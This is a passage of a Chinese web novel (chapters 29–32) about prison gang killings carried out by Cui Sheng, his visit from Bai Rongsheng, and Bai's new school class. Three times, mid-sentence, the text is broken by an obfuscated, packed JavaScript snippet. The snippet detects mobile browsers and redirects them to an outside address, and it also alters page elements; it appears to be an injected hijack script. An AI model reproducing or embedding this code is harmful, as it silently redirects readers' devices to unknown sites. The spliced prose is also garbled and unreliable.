虎头结结巴巴:“那个刀我捅不进去……” 另有一个去检查老江的人,举起沾着血的手说:“哥、崔哥,人死了,应该是死了。” 虎头不忍心扎下去反而激起老江反扑凶性的刀,在他滑倒时重重戳烂了他的内脏。 崔盛满脸不耐烦,踹了虎头一脚:“去处理。” 浴室里空气潮热,裹挟着浓重的血腥。崔盛以为曾经常年占据他身体的暴虐冲动已经随着生活平静逐渐消散,直到此刻他才发觉,他的本性从未改变。 他必须走出浴室,以免自己做出什么过激的举动。点烟的时候他的手指有点发抖,不得不闭眼回想白容生,白容生给他看的那张表,角落里白容生留下的涂鸦,可惜他不能让别人看见,必须撕碎了扔掉。 为什么不在火车上就把徐冠峰杀死呢?他想。 29. 第 29 章 虎头从禁闭室出来了,脸色煞白,可表情带着得意。他像打了胜仗,展开双手,接受围上来的人的欢呼。 杀了人只关一周禁闭,已经足够说明潜台词。最近监牢里普通的犯人都绕着他们走,生怕无辜被卷入这些人的帮派风波。 他笑着凑近崔盛,邀功似的。崔盛嘴角勾了勾,亲自给他点了烟。 “崔哥,下一个我们动谁?”虎头兴奋地问。 他终于跨过最后的门槛,最初的恶心、惶惑消失后,一种令他浑身发烫的感受占据了他的大脑,那是一种能够左右同类生命的快感,杀人和杀死牲畜本质上没有太大差别。虎头已经急不可待,想要找上下一个目标。 崔盛静静观察他,随后更加真心实意地微笑:“嗯,当然是徐冠峰。” 徐冠峰,作为手上有人命且潜逃成功的通缉犯,在监狱很快就混得风生水起。他果断投奔到萨鬼手下,扬言出狱后就要拜大雁为大哥。 虎头:“徐……哦,那个竹竿啊,怎么找他,我以为会是……” 崔盛:“关一周小黑屋什么都没想明白?萨鬼这招很恶心,事干完了主动低头把老江扔出来,我们无所谓,老大们脸面是要讲道义的,你这时候再去动大雁的人,就是我们大当家的不对。” 他把燃尽的火柴掐断,瞟了虎头一眼,“徐冠峰不算大雁的人,只要他来找事,我们教训回去的时候可以下手重一点,意外,懂吗?” 虎头低头想了会,他说:“崔哥,你怎么让他来找事呢?” “有个消息他一直不知道罢了。”崔盛漠然说,让他回去休息。 监房是八人间,几张上下铺铁架床挤挤挨挨在不大的监室里,铁栅栏门锁上时,划出刺耳的噪音。 崔盛睡在下铺,他看着上方低矮的床板,伸出手,张开手指,指缝里是木头的纹路。他在这段睡前巡视难得的安静里放空大脑,幻觉在搭建一个虚无的房间。 房间温暖明亮,床不大不小,当白容生躺在他身边时,身体会和他贴着。 他又想白容生这几个月会长多高,想必也会变重,不过背起来估计还是没问题。 真奇怪,细数起来他们才认识几个月,没有血缘没有旧情。只是白容生极为罕见地日行一善,崔盛在黑诊所看见他进来的时候,就下意识记住了他的脸。 后面再遇见都是意外,不过北城区那么小,想再见是一件很容易的事。 白容生是那里少数拼着一口气要向上的人,他的神态不一样。这种人虽说少,可也不是独一无二,但崔盛,作为一个自顾不暇、根本谈不上前途的小混混,竟然对白容生产生了怜悯之情。 可能是怜悯他脸上那种透不过气的窒息感,可能是怜悯他身上总是咬着牙暗暗较劲的样子,可能是看着他背着书包去洗头房的样子很可怜…… 当他让还很陌生的白容生去他家过夜的时候,崔盛就隐约明白,从此以后白容生对他来说就是特殊的。 明明他本来应该不在乎任何人,那天却鬼使神差地拦住白容生,阻拦他进入洗头房,好像他就能给白容生一个光明前途一样。 偶尔有那么几个时刻,看着白容生的脸,他也在想,多此一举究竟是为了什么? 没有回报、没有利益,自讨苦吃。但是那天晚上,他还是独自去找白容生了,即使大脑在分析利害关系,身体的本能行动却控制不了。 在进入漆黑楼宇的瞬间,崔盛意识到,如果他要放弃白容生,这是最好、也是最后的机会。他没有必要给自己凭空加累赘,只要他袖手旁观,白容生的生命就会结束在这里。 这个莫名其妙出现,又让他心神不宁、忍不住去管的小孩,从此将彻底消失。 他只停留了几秒,便做出这个不知道会不会影响他一生的决定,走进那栋烂尾楼。 * “崔哥。” 第二天的活动时间,崔盛在角落,漫不经心地抓着球丢出去,反弹回再抓住。他重复着这个机械动作时,虎头带着古怪的表情走近,叫他一声。 “我按照你说的话,去告诉那个姓徐的,”他回忆着,努力描述,“他一开始不相信,要上来打我,我就把你给我的那张照片给他看了,还有报纸上的新闻,他忽然开始大吼大叫,又哭又捶墙的,说要砸烂我。我说那他妈又不是我杀的你叫什么叫……不过看着真的像突然发疯,吓我一跳,照片里那死人是谁啊?” 崔盛抓住弹起的球:“他弟弟。” 虎头恍然大悟:“崔哥,还是你狠,就该这样。” 被他夸奖的崔盛却没有高兴的表情。天气转暖,运动一番后崔盛额头微微见汗,说道:“接下来我们不用急,等着吧,他会主动找上门的。” 虎头:“他好像是挺能打,不过我可不怕他。杀过人了不起?” 崔盛抛着球,没说话。徐冠峰只知道徐桥死于叉子的人手中,但不知道具体凶手,暂时不会随便动手。 倒春寒乍然袭来,天气才暖和几天,又开始飘一落地就融化的雪花。这是真正春天前最后一场寒潮,犯人们被叫出来列队集合时,都被冷风吹得够呛。 崔盛有点困倦地站着,身边忽然换了个人。他打起点精神,侧头望去,徐冠峰阴沉青黑的眼看着他。 “又见面了。”他率先说。 崔盛笑道:“真巧啊。” 他的讽笑让徐冠峰嘴角一抽,过了会他说:“我才知道徐桥做了什么事,他都是为了我……崔盛,你也有弟弟,我问你,徐桥干的事,需要他去死吗?你弟弟屁事没有,还能继续上课,凭什么我弟弟就要去死?” 崔盛淡淡道:“他和我都不一个姓,不算是我弟弟。” “别他妈跟我装傻。”徐冠峰冷冷道,“咱们现在都在这了,你跟我直说,徐桥是不是你杀的?” “我也建议你不要再这样跟我说话。”崔盛说,“很可惜,我是想动手的,还没来得及。这是实话。” 过了会,徐冠峰说:“我信你。既然不是你杀的,暂时我不想找事,只告诉你一句话吧。” “哦?洗耳恭听。” “真后悔当时在车上没把你弟弟的手指剁下来。” 崔盛本来已经转开目光,闻言又看向徐冠峰的脸,他缓慢道:“我是不是跟你说,不要再这样跟我说话?” 徐冠峰后脑的头发被一把揪住,力道凶狠地扯着他向身后墙上狠狠撞去。他伸手要反击,崔盛停也不停,扯着他重重撞了第二下,发出令人心惊胆战的闷响。 “干什么?干什么?”正在训话的狱警顿时爆喝,拿出警棍跑过来,“住手!蹲下去别乱动!” 徐冠峰晃了晃,手在半空想要抓住什么一样屈伸着,被崔盛抓住一拧,顿时大吼一声,转身把崔盛撞上围墙。 近距离下两人都喘着气,徐冠峰视野有些模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168952|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊。崔盛面色冰冷,被他在腹部砸了一拳的同时,带电的警棍带着风声抽在他们两人身上。 “把他俩分开!我看都是活腻了,想被电死,是不是?” 肢体在麻痹中经受着痛苦,崔盛仰头大口呼吸,没说话。 当众在狱警眼皮下斗殴,是不可能轻易了事的。崔盛和徐冠峰都被关禁闭,出来后还要扫一个月厕所。 他进去了,当时和崔盛一起进来的几人,大部分还在医院没出来。一时间叉子的人,全部都归虎头来管。 在走后门得到的短暂探望时间里,虎头隔着门大声和崔盛保证:“哥,崔哥,你放心,我不可能丢大当家的人。等那姓徐的出来,我要他好看。” 崔盛是先动手的那个人,禁闭时间会多几天。他在狭小黑暗的禁闭室内,不厌其烦地来回走动,活动身体。 等到崔盛离开禁闭室的那天,他眯起眼睛适应光线,出门就看见了跪在门口的虎头。 “怎么了?”崔盛懒洋洋地问,没有伸手去扶他,目光自上而下俯视虎头耳后的纹身。 “崔哥,是我的错。”虎头说,“那个姓徐的还没死,反而害死了我们一个兄弟,都是我的错!他是跟着我一起进来的,马上就能出去了,结果被我害死了……” 虎头哭了起来,崔盛终于能完全睁开眼。他按着脖颈后面发酸的关节,看向虎头身后。 排场不小,不仅带了虎头身边亲近的几人,之前和崔盛一起进来的人养好伤,跟着一起来了。 崔盛走出几步,站到更空旷的空地上。他招手示意虎头过来,动作有点轻慢,虎头明显不太满意,但还是听话地过去。 “其实,”说话时,崔盛的手臂搭在虎头肩膀上,是个友好的亲密姿势,“大当家有两个必须完成的任务,本来不应该我管,但既然我进来了,那只好多管闲事。一个任务是杀了老江,另一个我还没跟你说。” 虎头一愣:“还有一个?” “处理叛徒。”崔盛懒散地说,拍了拍虎头的肩膀,“他很讨厌不听话的狗,你是明白的吧?” 虎头看着崔盛的脸,崔盛也看着他。突然间虎头大叫一声,推开崔盛的手,但已经来不及了,和崔盛一起进来的几人早已无声无息地围住他。 “其实你办事不错,人也很上进,不过大当家有要求,还能怎么办呢?”崔盛自言自语,衔住一根烟,继续摩擦劣质火柴。 虎头的人根本没料到这种突然的变化,还处于茫然中,要上不上。崔盛嚓地点燃火柴,厌倦地说:“大当家清理门户,你们有和他一起干过那些勾当的,老实交代,今天后就一笔勾销了。只处理带头的,不用怕。” “崔盛!”虎头大吼道,“你他妈装什么?你知道之前我们中这里过什么日子吗?叉子想过派人进来帮我们吗?操,这个时候又来清理门户,老子不低头,早就死了!死了!” 崔盛漠然回答:“关我什么事?况且,你不是还借徐冠峰的手,又把不服你的人杀了一个吗?再不处理,我今晚都不一定能活着出宿舍吧。你想当大哥,可惜我还不想死。” 虎头惨叫一声,崔盛含着烟说:“堵住他的嘴。”说这话时,他的眼睛始终盯着虎头带来的人。 那群人面色各异,有人似乎想动,最终在崔盛的目光里,没人走出来。 虎头那天洋洋得意把玩着的、杀死老江的刀,这次结束了他的生命。 30. 第 30 章 “白容生,老冯叫你去办公室。” 白容生应一声,放下笔起身。 冯少平正在办公室做操,见白容生进来,手臂收起:“来了?坐下吧,吃块饼干。” 白容生看着饼干没吃,仰头,还是无害的好学生样:“老师,找我什么事?” “关于你家里的情况,”冯少平手掌搓了搓,“你那个哥哥,怎么消失了?现在家里是没人管你,还是怎么样?我听说,你在校外,是不是还跟社会上的朋友有交往?” 体贴青少年的敏感内心,冯少平尽力委婉,“老师说你有事都可以说,全是真心的。有任何麻烦、任何问题,怎么就不能告诉我呢?” 白容生脸上闪过诧异,“老师,我真的没有问题,期中考也没退步。” 冯少平:“我说的不是这个,你在校外……” “社会上的朋友?”白容生笑了笑,“我哥这几个月在外地打工,他认识的人是比较那个一些,但对我都还好,他不在的时候会多照顾照顾我。” 冯少平看着他的脸,俊秀白净,因为身高在长,脸也变得瘦了些,眉眼漆黑。白容生向来是温和平静的脾气,除了开学时和徐桥有过冲突,没和谁闹过矛盾。 但偏偏就是这样挑不出错处,还比同龄人稳重的小孩,冯少平放不下心。 “打工也不至于一天也回不来吧?”冯少平捏了捏鼻子,“打个电话吧,我得确定你家里的情况,可以吗?” 白容生静静看了他一眼,说:“好的,老师,这周六吧。” “不是不相信你,”冯少平道,“我就是不放心。” “我明白,老师。” 走出办公室,白容生反而笑了笑。叉子安排的人自然只会对他说崔盛在里面状况都很好,而崔盛又不见他,具体情况他没办法确定。 现在,他有正当理由,不信见不到崔盛本人。 周六早上,白容生先去教室背完英语,校服外套都没脱,在校门口等车。依旧是坐到终点站,但他还没进大门,就被两个陌生人拦住。 “白容生?” 白容生警惕地看向他们,却被引向另一边路。 “探视崔盛的话,需要从这里走。他现在位于特殊的探监室,配合我们一下。” 白容生起初不明白什么是特殊探监室,随着向内深入,一栋围着铁丝网、看守森严的小楼让他不禁心提了起来。越紧张,他越努力表现得若无其事,只有他自己知道手心出了层汗。 乌黑沉重的铁门缓慢拉开,里面是惨白的照灯。白容生几乎以为崔盛在里面犯了什么十恶不赦的罪行,屏息踏进去,身后一声震响,是大门被重重合拢。 他被吓得神经瞬间紧绷,还没转过去,就被一双手臂从身后抱住,差点吓得叫出来。 崔盛一碰到他就觉得不对,手上用力把白容生掰过来。白容生眼睛瞪大,嘴唇都没多少血色,定定看了他两秒,直接把崔盛推开。 他后退两步靠着门,喘过气后一把抓住崔盛的衣领:“你——” “对不起,吓到你了。”崔盛任由他拽,低头说,“我是看见你太兴奋,想着……” 其实大脑里思维是空白的,只有身体本能地想伸手和白容生进行拥抱。 “为什么在这里见面?”白容生松开他,“手铐也不用带了吗?” “嗯,这里一般是给特殊犯人使用。事干得不错,叉子帮我搞到了在这里跟你见面的机会,可以不带手铐。” 崔盛说着,张开手。白容生看了他一眼,还是迎上去,被他直接抱起来,举到能俯视崔盛的高度:“长高不少?” 白容生下意识回抱住崔盛的脖子,腿也夹住他的腰:“放我下来!” 成功逗他玩后,崔盛笑了笑,五官间的阴霾消失了一部分。就像白容生在这段时间迅速褪去曾经的稚气一样,他也在飞速地呈现出青年的样貌。 身后不远处是一把椅子,崔盛把白容生放在椅子上,低头看他半天,问:“最近怎么样?” 白容生看着他,崔盛脸上的疤痕已经差不多消失了,唯独脖子侧边还留着一道痕迹。在疤痕之外,他敏锐察觉出来,崔盛变了。 他很难说清究竟是哪里改变,大概是先前的朝夕相处让他过于了解崔盛,以至于崔盛的气质有一点改变,他都能感受到。 一种更加冷硬、残酷的物质,在崔盛身上悄然生长。 这个念头转瞬即逝,白容生没有表现出来,张开手抱住崔盛的腰。他的脸也因此埋在崔盛身前,紧贴着灰扑扑的囚服,肩膀的轮廓裹在校服外套内。 崔盛几乎能感觉出他紧贴着自己腹部的呼吸,伸出手轻柔地捏了捏白容生的脸。这个依赖的姿势让他不自觉心软,想问白容生是不是过得不好或受了委屈,但白容生忽然拨开他的手,抬头看他。 “哥,”白容生还抱着他,神情却和脆弱依赖完全不沾边,眼神锐利,“徐桥他哥死了吗?” 崔盛看着他。 三天前晚上,睡前点名时发现少了一个人。经过搜查,徐冠峰残破的尸体挂在监区顶楼的洗手间里,今天刚出了最后盖章的报告,鉴定犯人为上吊自杀。 “死了。”他简单地说。 “死得很快啊。”白容生笑了笑,这个笑容让崔盛心情急速地从开心变化为不适。 “我还有一个问题。”白容生缓缓说,“哥,你觉得一切都是值得的吗?别藏,我看见你手上有伤了。” 他的手放开了,崔盛吐出口气,走到离白容生最远的角落,对着墙点了根烟。 ——为了你,当然是值得的。不过这句话,崔盛说不出口,听上去太奇怪了。 “不是值不值得,”他道,“是必须这样做。” 白容生:“你是幸运,只需要几个月就能离开,假如你要在里面两年、三年,也不后悔吗?” 崔盛:“你天天就琢磨这些东西?” 白容生:“这些东西不需要琢磨,但凡大脑正常,想一想就明白了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168953|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 崔盛:“我做事从来不后悔。” 白容生这次安静了好一会,忽然冷笑。崔盛正是在他的这声冷笑里发觉,白容生已经长大了,不再是个能被他两句话强压下去的小孩。 他可能想说什么,最后没说,直接起身想走。崔盛一言不发,几步走过去,拦住他。 “你干什么!” 白容生目前还是比他矮不少,被崔盛有意拦住,根本出不去,反被抓着,抵到墙上。他简直惊呆了,没想到崔盛会这样对他,被抓住手腕,抬头睁大眼睛瞪向崔盛。 “其实见面,主要是想跟你说一件事。”崔盛不知道怎么解决刚刚的吵架,决定就这样忽视,姿态不明显地放低,“后天是你生日,十六岁快乐。” 白容生被他按住哪里都去不了,先是生气,听到这话愣了愣,慢半拍反应过来这个他本人早就遗忘的生日。 崔盛等了会没有回应,试图补充:“生日礼物只有等后面再补给你……” “老师要给你打电话。”白容生记起来今天的正事,不客气地打断他,“你先和老冯聊聊吧。” 一个电话,崔盛打得心不在焉,对冯少平苦口婆心的谴责和叮嘱完全不往心里去。 只有提到白容生的事,他才有了兴趣。冯少平听得出来,在他询问白容生的时候,口气一转,又把他骂了一遍。 作为完全不合格家长的崔盛只有耸肩。他站在白容生身后接电话,无意识的手指捏着白容生顺滑浓密的黑发,绕在手指尖打转。 在得到崔盛期末一定回去的保证后,冯少平道:“这么听话聪明的孩子,一定要好好培养,未来能成才。我知道,不能要求哥哥还像父母那样为孩子付出,你年纪不大,平常肯定是吃不少苦,可是都到高中了,怎么得坚持完这两年,前功尽弃多可惜。” “我知道。”崔盛说,语调变得温和,“老师,你放心,我会保证他读完高中,再顺利高考去大学的。” 白容生听见后,仰头望他。崔盛和冯少平又说几句,结束通话,他弯腰把手机还给白容生。 “生日快乐。”崔盛又说。 白容生沉默片刻,叹了口气。崔盛凝视他说:“现在所做的一切都是为了以后,这不是你一直秉持的原则吗?白容生,相信我,再坏的情况我都不会连累到你,我会保证你……” “我就不能在乎你吗?”白容生问,“我就不能单纯关心你吗?为了我进监狱,是不是,哥?你干脆在这里坐一辈子好了!” 崔盛差点没按住他,终于忍不住,怒道:“为了你坐一辈子牢我都愿意!行不行?” 白容生被他噎了回去,只是睁大眼睛看他。他脸上如今稚气最重的地方还是这双眼,瞳仁乌黑,比一般人大一些,睫毛密长,双眼皮拉出一道迤逦的线条。 现在这双眼有点泛红,崔盛后知后觉白容生好像是哭了。不等他伸手去擦那点湿润的眼泪,白容生恶狠狠地推开他:“你就留在这里吧!随便你,我不会再来看你了。” 31. 第 31 章 “生日快乐!” 刚下课,冯少平前脚走出教室,李舜和吴飞云就围过来,一人拿着一只校门口买的廉价彩花筒,拉开后砰地喷出纷纷扬扬的彩色纸片,洒了白容生满身满桌。 “我的天……”白容生喃喃道,摊开手抖掉身上的纸片,“你俩疯了?” 李舜笑着用肩膀撞他:“都过生日了,心情好点。” “我心情没有不好。” 白容生回复很快,尽管他清楚,自和崔盛不欢而散后,他就没开心过。 “别装啦,都看得出来。”吴飞云冲他使了个眼色,“担心什么呢你,等分班,你肯定可以去重点的。” 高一下学期期末考之前就会重新分班,白容生于期中考拿下了班级第一。他偷偷算过自己几次考试的平均排名,认为应该没问题,不过表面上总要矜持,就委婉地说:“还不一定的事,等名单出来吧。” 李舜:“真想念你的数学作业啊。唉,我要自力更生了,我妈说暑假给我找数学老师一对一补课。” 吴飞云和白容生一起起哄:“有钱噢。” 放学后白容生请他俩吃雪糕。天气晴朗,混乱的春节好像是上辈子的事,但白容生进入小区,经过保安室的时候,忽然有点控制不住想要打颤、反胃的冲动。 这段时间他偶尔会出现这种状况。尤其是事情过去还没多久的时候,他独自躺在卧室,会因为紧张、焦虑失眠,总疑心会有人在他睡觉时推门而入,趁机杀死他。 白容生移开目光,没表现出来,如常附和李舜的闲聊。走到楼下该分别时,李舜忽然明显地咳了两声,目光游离,手伸进口袋里:“那个……” “嗯?” “就是,那个,”李舜再次咳了咳,“我也就是一个帮人办事的中介,纯跑腿,没办法对方拿我女神的海报贿赂我这个实在拒绝不了当然你这种无趣的男人是无法理解的!总之,隔壁班有个女生给你递情书,你拿着吧。” 白容生两秒后才反应过来,手立刻收到身后:“什么东西,我不要。” 李舜:“为了我女神的海报,你必须收。” 白容生奇道:“你女神不是哪个游戏里的角色吗?还有海报?” 李舜顿时愤怒:“别侮辱我女神,你懂什么?哎呀,哥,你收下我就能交差,之后你再拒绝她不就行了?我真求你了,那海报咱们这边根本买不到。” 白容生被他缠得没办法,拿过那封喷了浓烈香水的情书。 一中学习氛围高压,早恋属于少数,但基本每个班都有那么一对两对。不过情书这种东西,白容生还是第一次收,捏着粉色信封,无可奈何地踹了一脚李舜的屁股,让他快滚。 情书的内容白容生都没看,粗暴地写了张纸条塞进去,明确表达了拒绝之意。他让李舜还回去,然而李舜拿到海报后过河拆桥,表示自己绝不愿意亲自损害少女芳心。 没有办法,白容生挑了个人少的时间,叫出隔壁班的女生,把夹着纸条的信封还给她。 他的态度很明显,女生眼睛红了,低着头扯过信封就走。 这件事白容生根本没放在心上。他的注意力都在即将发布的分班消息,直到分班名单贴在楼下公告栏。 公告栏前围满了人,去晚一步都挤不进去。一中传统是三个理科重点班和一个文科重点班,按照班级顺序来,前四个班围着的人是最少的。 不少白容生眼熟的,高一就在重点班的人轻松地说笑着,确定自己在哪个重点班后,结伴走上楼。 李舜和吴飞云来得早,正在满脸感动、成功会师一样互相握手。文科的学生少,吴飞云也成功进了文科重点,总算不至于和李舜分别。 他俩本准备等着看白容生的名单,可是文科班的班主任已经过来催他们上楼,只能不舍地和白容生告别。 走近时,白容生难得手心有些出汗。他看过一班二班都没找到自己的名字,心里不由一紧,还没继续向前走,就被从后面拍了一下肩膀。 “还没看到自己?”冯少平说,伸手在三班的名单上敲了敲,“在三班,走吧,跟我去班里干活!” 白容生被带着走出一段距离,诧异道:“老师?” “本来三班的班主任生病了,临时换我顶上。”冯少平边走边说,“咱们班四个到理科重点的,就你来了三班。那些学生我都不认识,只有你一个嫡系,做班长怎么样?” 白容生立刻想要拒绝,冯少平看出他的意图:“打住,人家想要都要不来的。两个班长,你做副的,快上去带头打扫教室。” 之前高一重点班的人大半都留在理科重点了,只是几个班的人内部打乱再重新分配,但他们相互之间很熟悉,和其他普通班进来的人不大明显地分为两派。 那种普遍的傲慢比较隐晦,只有进入其中的人才能感受到。 白容生跟在冯少平身后踏进教室,敏锐发现,教室里静了静。安静里有个坐前面第一排桌上的男生说:“老师,是不是走错班了?” “没走错,原本带你们班主任的陈老师生病了,这学期我是你们班主任。”说话时冯少平拿起粉笔,写下大名,“我教数学,你们先认识一下。男生呢?男生都主动去搬桌椅,女生扫地擦窗台,别聊了。” 班里大部分人虽然有些惊讶和窃窃私语,不过基本都慢腾腾地开始动作,乱哄哄地找活干。只有刚才发问的男生笑着,伸长腿踩着地:“怎么我都不知道换班主任,还是数学老师。冯老师,我们要参加竞赛的,你能带吗?” 此言一出,整个班都安静了。白容生放下书包,扫过这个挑衅的人,意外发现班里不少人脸上都是“又来了”的不耐烦样子。 冯少平笑了笑:“我能不能带,你们上课后就知道了,觉得我不合格,都可以去找校长举报我。但是现在,”他声音骤然严厉,“该打扫打扫,不干活的人,先扣你平时表现分。” 陌生的老师黑脸还是有点威慑性的,更何况冯少平的脸看着挺凶。发问的男生切了声,撑着桌子跳起来。 恰好白容生和他离得近,他转头自来熟地说:“咱俩把这边桌子搬一下吧。我没见过你,你是下面的班升进来的?” 白容生不想和他多说话,头也不抬地嗯了声。 他这种冷淡的态度反而激发了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168954|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男生的兴趣:“我叫蒋兴康,兴盛的兴,健康的康。你呢?” “白容生。” 哪知蒋兴康唔了一声:“嗯,我知道你,上次考试,你的数学就比我低一分。可惜啊,差点你的数学单科能进年级前十。” 这句话终于让白容生抬头给了他一个认真打量的正眼。蒋兴康咧嘴一笑,他长得不差,黑发蓬乱浓密,面容俊朗,是学校里女生比较欢迎的类型,白容生隐约记得后排女生聊过这个名字。 就是这个人的神态和作风,让白容生有种隐隐不适。 比如此刻,蒋兴康以一种获胜者的姿态微笑,让白容生很厌烦。 “是吗?”白容生淡淡回答,“我还以为你第一呢。” 蒋兴康的笑容一收:“我迟早会再拿第一的。” 白容生终于记起来了,他们这届中考第一是两人并列,其中那位女生选择了文科,另一个男生就是蒋兴康。 不过期中期末几次大考,蒋兴康没拿过第一,白容生随口一说,倒是踩了他的伤疤。 怪不得那么骄傲。只是高一马上结束,白容生觉得还拿中考成绩出来说事很没意思,因此回以他一个不置可否的微笑。 桌椅被重重推到墙边,蒋兴康似乎没在他身上找到想要的反应,不满地转头去找别的熟人说话。 教室收拾好后,冯少平拍了拍手,让他们先随便找座位坐下,开个班会。 重点班这群好学生对一切事物都很热衷,冯少平刚提起班干的事,就有人主动举手要竞选。 白容生心里松口气,他可不想去做班长,既要做事还要受气。没想到竞选副班长的人才两个,冯少平二话不说,点了他:“白容生,你也准备一下演讲。” “……” 蒋兴康的座位在白容生斜前方,他竞选的是学习委员,听见冯少平的话,眯起眼侧身看白容生:“老师,你可不要作弊偏心啊。” 白容生彻底明白为什么那些认识他的同学会是那种表情。 冯少平:“不用担心,我不参与你们的选举,匿名投票,当场出结果。” 白容生确实不愿意参选。在准备期间,那些人紧张地拿着草稿纸写思路时,他选择转着笔翻语文书找小说看。 甚至上台时,相比于其他人的长篇大论,他双手扶着讲台,面对大片陌生面孔,寥寥几句就结束了演讲。 中心思想就是,感谢老师看重,实在能力不足,请支持其他同学。 然而票数出来后,白容生眼前一黑。 他以无可置疑的票数成为了副班长,把站在教室后的冯少平都看笑了。 “民心所向啊。”冯少平揶揄他,点了几位班干留下来,“其他人晚上按时到校,晚自习请假必须有假条。” 班长是一位带着眼镜,神情严肃的女生,叫季兰,年级应该大部分人都单方面认识她,她的照片出现在每次考完的年级前十光荣榜。蒋兴康则是顺利当上学习委员,因为另一个和他平票的人主动选择退出。 季兰看着有距离感,相处起来却还不错。白容生走出教室,外面的空气清新温暖,终于有了初夏的味道。 32. 第 32 章 分完班没多久就要开始迎接期末考,这是分班后的第一次大考,班里的气氛近乎高压。 冯少平教学水平没得说,除了蒋兴康对他依旧有意见。白容生得知原本安排给他们班的那位数学老师带过竞赛,简历很好,结果临时不能来,班里有的家长还去找校长投诉。 “不是生病,他被更好的学校挖走了,不太厚道,瞒到这时候才说,甩下烂摊子走人。” 白容生坐在季兰后面,没想到这个班长消息十分灵通,还乐于分享。现在季兰身边围了不少人,把这点八卦当作复习中的调剂。 “老陈这么狠?我之前在他那补课,就想说他根本没教什么,钱收的比其他数学老师都贵。” “你可小点声。” “但是老冯人最起码比他好吧。”说话的人一回头,胳膊搭上白容生的桌子,“小班长,你之前是他班里的,他怎么样?” 因为白容生是副班长,那天开班会时冯少平点他叫了“小班长”,之后班里都开始叫季兰为班长,叫他为小班长。 “人是挺好的,就是有时候管得多。”白容生说,“上课也还可以吧?” “有时候感觉他讲题像把我们当傻子。”季兰诚恳道,“咱们班真的没有这么笨。” 围着的人都笑了。这群好学生天然带着点成绩好的傲慢,但也不至于分不出好坏。 白容生刚想低头看书,旁边有人懒懒插嘴:“可是季兰,我们要参加竞赛的,前几届竞赛都是老陈带,他走了我们怎么办?我看学校没钱再请一个教练。” 蒋兴康个子高,坐在他们后面几排,拿着水杯走近靠在白容生桌边:“小班长,你觉得老冯能带竞赛吗?” 竞赛生只有重点班的学生,白容生现在才进重点班,当然没参加过竞赛培训。蒋兴康明知故问,白容生不接他的话:“你直接去问老冯,能不能教你。” “哈。”蒋兴康笑了,“无所谓,暑假我要去培训班。季兰,走不走,去人家好学校培训一个月。” “再说吧。”季兰不想多谈,结束了这个话题。 下午季兰和白容生一起去大办公室帮课代表数试卷时,凑近说:“白容生,我记得你数学很好,不考虑参加竞赛吗?” “竞赛我应该不行吧?”白容生挺有自知之明,他是头脑不错,可离天才一类还是差很远,“你们是准备冲顶尖大学的,我觉得能靠高考读还不错的大学就够了。” “还有一个暑假呢,你要是想的话,暑假可以跟我们一起去培训班,咱们学校的竞赛能力确实差。” 季兰更了解这方面,和白容生多说几句。她没怎么隐瞒,白容生才得知她家里是做生意的,各地跑,只能把她放在老家读书,骂那个跑路的老陈主要原因是这人提前收了季兰家里的红包,现在却联系不上了。 她家里只是有钱,蒋兴康家里却不一样。蒋家上一代就开始陆续洗白上岸,堪称有权有势,因此养出了蒋兴康这种目中无人的性格。 “他之前还炫耀他表哥调到这边警局,做出成绩后就能回省城高升。所以之前老陈很捧着他,换了个陌生老师,不给他区别对待,他心里不舒服。”季兰说。 白容生心里对那些家境优越的同龄人难免会产生羡慕或嫉妒的情绪,不过在一中这么久了,他早就习惯。知道蒋兴康的家境后也没有多少情绪,只是难免想到崔盛,假如他有蒋兴康的能力,崔盛何必要在监狱里面受折磨? 他心里气还没消,至今没有主动去问崔盛的消息,两人之间信息就好像彻底断了。 家里墙上挂着一本撕拉式的日历,每一天撕一张。白容生在崔盛预定的出狱那天用红色粗水笔画了很重的一个圈,现在他透过薄薄的日历纸,能够越发清晰地看见红圈。 考试之前最后一个周末,学校让他们调整状态,大发慈悲地放满两天,周五晚上也没有晚自习。 和李舜不在一个班后,白容生通常会独来独往。周五晚上班里大半都选择留下自习,还有人和隔壁班串着来一起写作业,就连蒋兴康都坐到很晚,和白容生前后脚离开教室。 两人虽说一前一后同路,却没什么好说的。白容生戴上耳机,用崔盛留下的mp3听歌,即将走出校门时,脚步一顿。 校门口三五个人,停着两辆摩托车,似乎在等谁。本能反应让白容生开始警惕,走在他前面的蒋兴康看向那边后,却主动走过去。 “等谁呢?”他好像和这群人认识,“这么晚还不走?” 白容生以为他们是找蒋兴康的,松口气继续向前,没走几步,雪亮的车灯却跟着一转,照向他。 他猛然一停,在光束中眯起眼。 “姓白,是不是?”掌着车灯的人问,“就你啊,收个情书那么费劲?” 情书? 